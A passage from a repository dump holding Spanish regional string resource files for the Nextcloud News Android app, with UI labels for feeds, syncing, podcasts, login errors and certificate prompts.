name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rCO/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <string name=\"dialog_podcast_remove_title\">¿Estás seguro?</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Cambiar de cuenta</string>\n    \n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rCR/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <string name=\"dialog_podcast_remove_title\">Are you sure?</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rDO/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string 